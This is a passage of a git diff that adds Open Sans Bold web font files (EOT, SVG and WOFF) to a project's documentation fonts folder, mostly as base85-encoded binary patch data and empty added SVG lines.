zGX8{-*3J-p+fZae^U`Z}rulP}c{^If-7kd#q_Xt%HD^+YjPESii zWm_M5v^2ls)z`^2Jd77fZwo~z{Dhscefo`{1d+X1zzt7lP$}*!7aG`dc%dr?XE3jQ z(9N5j@MlK%O#9YjOp6LF_l8h#$T7MiiBGAFW3e$jNt}`4H>-wm1;kWv9tq9BSY%%M zt;qkrCVD+0FUbp6b4TPJv4niSpJYB+^+&Fd86iYJuzBXC0_InWxAz@#J34&TzC=Jh zGA|#6cy+ORwjh&ANqq+kTWeGtBEcQaGHaKMz!6aMm}x$kvhd^z!9bsbA~G+NBc1U` zBT9n>8@n)QjfWvl!)G3-JhAxr7J9c7{AL zsTohq6#D{uOsfrUj?%8T)8)B;N>F2hTNfUYscznjGzo6B(7(9Y*MutjJ7+ir|4xIR zUi($vyc=1xb?kz8}gf_O)_D54> zX3fJ~{bW#TR%I+|G91{NClMg!qt!YOT+|q$d%9I_GW8=ZKL03g29 z0rtUW3YJh$IcWzU8Iy6_C}IfD8f6(tGm7{fyHg5DKY%gUM)|=`WO;@CZ2KBwsnF%A&dRlYI+za zvxN*ygU(v986N+MpM#J162e8M`14tIOOGL2N^EvrY%`T8j;3v+5X4-{LI3a%btZ>v zH#!X&df)!W@e2=jY@KdAVdyQtJ)U4sJQ3hBXOCA8@J%{;#$mGOQIPtmLf%QpOA;L) zx?0!Z<3W@>93NN5;GeA^hk!(ekZxA1TnVbHRO@m5$cU~GvH%kSBQH+U*lV|GLXSqj z7Xg{C$v&+CpQu(~GNn3iWCymI=F{P57~o*cvpHyR6q@ygx8om0l zzR>IQZ2qkDSX|a36AmOHHskY(u@)6gcOgiQ9(kS#mfeREGc9Rk`m)}?+Kg^vCiQ*% zyE7uMc5$Tfi{WabhJq4bH=^5HdJ`=a5fw93eYhu~W^Kt{oJooIbNK9uD0SEe)eyPZ z5Q>5#uBAzjy;Nu=v(h-+Uggq|I)x0{%2yd=RQR-!xgPIf?OO#P?k;uOKyi!Y#bq0J zD@+keg%VlU#u4yIv*flA)6%+;3G$K@{IVV-LH>a!8(hmj8C30K^JtN?`8D0uoPjuJ zMlk>@i;cW_LAt$?ejjMmE`WrHS{wChP%DKo4JbKdrL+J^TT3+;>0EY43mwiGW|3?O zBu`J5MGbUxF3385CiwoCv8h7PdQM zSxA+6&hp4<%pFj$Qz}F9Ui}Gix`ccg7U=T(EL&(YiH4nl<(xScV@*_oF3XO1b=tkQ z71?5Et;JFwj2uG;HxvNyU5|8oOr|^3*~sPkb)j|i9MZDrseZl6cR5l=-?Vupla>4- zSno4Md5`-aaC~0k6-s8mD3DWRRItK^eM_m1f8UM7^Frz)f$-{C9LE6&Ly#Ii}?2*#498P zkeNK%4TV^!>cn5>XCO38o@OBsg(@9E1S3)mk&1e4tB%H&{{&-Zo5~ZK@CIF+qef;E z#bM+Q=gO04I0ty9H-?B(v+)?^uMe>YF%>-m7(3TAXPME|Yz)oDps;aD<$mlQ;U|{v zRCpa($hs_K24TSBVU0?5&V71u3xux0Xx0FhhVyh0mC6i573NVlt;QN(ZJh{gOm-qDPtPY~6~)A^KX;i44Oxa=zAB7z%I zO7X@OhQ9v_g=y0DA1A|_I(@)0Z?S@&fnW$jU`K2Aho6bC0Vfm5CBu~R zCy9^bL2U%7QAL8tW-NV_fQGrb+U2v0?YKv&;s$;nE8JDG90pb&03i#w1+>ancLH6F z1lkMjbHxy?i(e;xO9l#Ur;z|4zR17nN%OcVFbDt)m8~=Gn-+}Wh2728a5&6@p-gB9 zto;!k8AK7Ph;bkzgzN$qBql`qr){z$+!>7m$cVF~Rvg2XRk72Ox)_Eno0)?SSTkf5 zvLIt2+lnDIXuGat?WN{;`^HG=SlJz|n~lR`;(~Q5ZVoxY^$7qC_F;nKS3RS#DKs8$ zI!AWIy1!xj)cE%``Xe~r&AKb)F|gF$c0S*B8T=+>iufG#{p_pqvy9d zudlwlI1O9Z{7|xqPzB>ng3kf1ZLO>{)u35eV^#U+><}VHD8z{ilM5!@m2DW!1dE_> z5E_x6Y#`tOO+?2Jte_ZZ!_6gc=1fOfDMf**8ID1O=V!7(qn!$w@g){M!oXj`NJ4igaH?3ltH;0TeEQ$Y4_D|14~fgQBO zfTE&MQf(r10G?e40TwpI^PXQX2<<+2o$Sh%v=~#%o739L&hdGIVq$M|5p;FC|12QL z0a`scrA!d}ccxfK021(pn`32S&WcXw7~nfx&+z@pHy4pY;$zIg+VB50!EWb*V~)dB zcA&@=HKUEuQ9)!effMo>yYaq)^sh2tMn)HOGZhAV5;ebJ_-C*oTA9*j$5QKxpeHVP zMHv_+DK_x)KwJ0&^*MUr8veBx>uI%Ybuy4a98EJ7MTP7T%C6jsAS{v>T)(cdC+euk zYz`p`4?z2+I0ALUtDdKlL~1{43<1jhV`2UpLFkwN#5__wROh(?FNwMp25Eeryt*H~ zYPvL;h+>4wXWlB15tpop13tLlT?%x*vTt@p5bPCO2o<0$1bKFbak$^%xdq`-Sp@RP z!>9u@?9q!aN-9nDF{LeHY9DroQ}RedIY*eLPJNm~vxPh>L<9n&6HKZ^Mf!DZo{@gZly4ZtAf!u zPC8ilcR++GH8_Zb*@R#-N<%_orT#j}DVoUOIP>_XacM4s4f2^-v~LEoB-|H>J_u^kBN z`n0NgoQ8f$pn$nwKoo_+5=HQtHZZZglX5U=7SIeuf39`+x7`eu+dirX?L4o%azeHI zU^y#^S$Mhgfo>x!@)BJpIT*t%3SkLBPu!XU6wfZWln#)!vn-^#ww!r*Sq0l&Iya&7 zq$=gKg+X?O3rIfGK5S+qNXS8~$ajnkytXB3ghSRZH7-=tHRz->lMLIlYT5_E)LZ7z zG=2MF1nsPeEMk%;z@IXVNy;=EEBMTgr)Yo~Wf;w}7R#N(QL{|4(ad2sAyLk2q{l;z zGWclgWIz%X9VwG*vJV0neWo{;GRjn-8Cm!77%B((2r0QQreG$3m%PEEYx@P85O{m( zj&OXjmB{Tql0<0lV^vYvn+(We5D;X0Jf80ScA>LL0n(435RqaIK)`B?p7f8wBQ5aX zpEafAJIl#jK8TkZHS)tspx0DwYCMhO>_Etb*Fa1N1$&2Tr96D96-EixlLD%sa1cvJ zvDIZx*elZ>BS1P5cX`Pj=0A!92EOY(96oPa>ATkVP7V_?Ji;lVtn@^PlmKlm)zRg9 z`wjZk3??Lqse^mSAcXl+mSG_PMfqi{3lHGVNN3(9FF`|G{UL1EVq7vqJBs4O8QAr% zl!(iTELsbT%L?{eBm^3FmNeo?iE%kJu=JvD2I!hgChJxfhCuh&w|@<+uvP5!P{RtD z2-YaPidG;g(@Qqd4p0)fJ_VtdSQ_Zep%l$e@CeMuxn{kl*qAU#h?sVoGFip%Y^f3S z_1;|*MJ0g=9GH#h_o_lM07Z)PkCubs=jRE1bI-tVTDC$bxWF)P(~rPOq2-WRFCs(YN`snG z+z#;qq$pKcq}GCqu{0)1iGl6OiTXueo>emK{@Im9dy-tv2Yfs6y0y)M!esqTLK&lwl^FSZgwyDV*OW&Do7b62)h#&IIjOV=O^tZ=HT(~)0R<&6r@VQp%NrXIBR5yf*>G{kVnx$XXKG!b$+0y z_odiIvn8?}Pg{!R`I6`|9aSRt1iD8s9T#*ABdSYi3=CUn{OCHsyaDeSfzkqv5z5qL zhV;?~%L4>c%M_s<4w8JkW|SHLF}4ntk)hHGA?L9ExfEv&1Ua3!5{ain#8Cm@-+Ea| zW4yEmUr0!%p}P%=)+dpJPDWLmPtM2S#aKAI;&DGXI@{;$;=1N-!(?WV%;v-S#dz`o j!x{jHm-dM!L@tgKC!1~`DFP}XH6$TyA!EyeVAY!l>$s0Q literal 0 HcmV?d00001 diff --git a/docs/fonts/OpenSans-Bold-webfont.svg b/docs/fonts/OpenSans-Bold-webfont.svg new file mode 100644 index 000000000..3ed7be4bc --- /dev/null +++ b/docs/fonts/OpenSans-Bold-webfont.svg @@ -0,0 +1,1830 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/docs/fonts/OpenSans-Bold-webfont.woff b/docs/fonts/OpenSans-Bold-webfont.woff new file mode 100644 index 0000000000000000000000000000000000000000..1205787b0ed50db71ebd4f8a7f85d106721ff258 GIT binary patch literal 22432 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 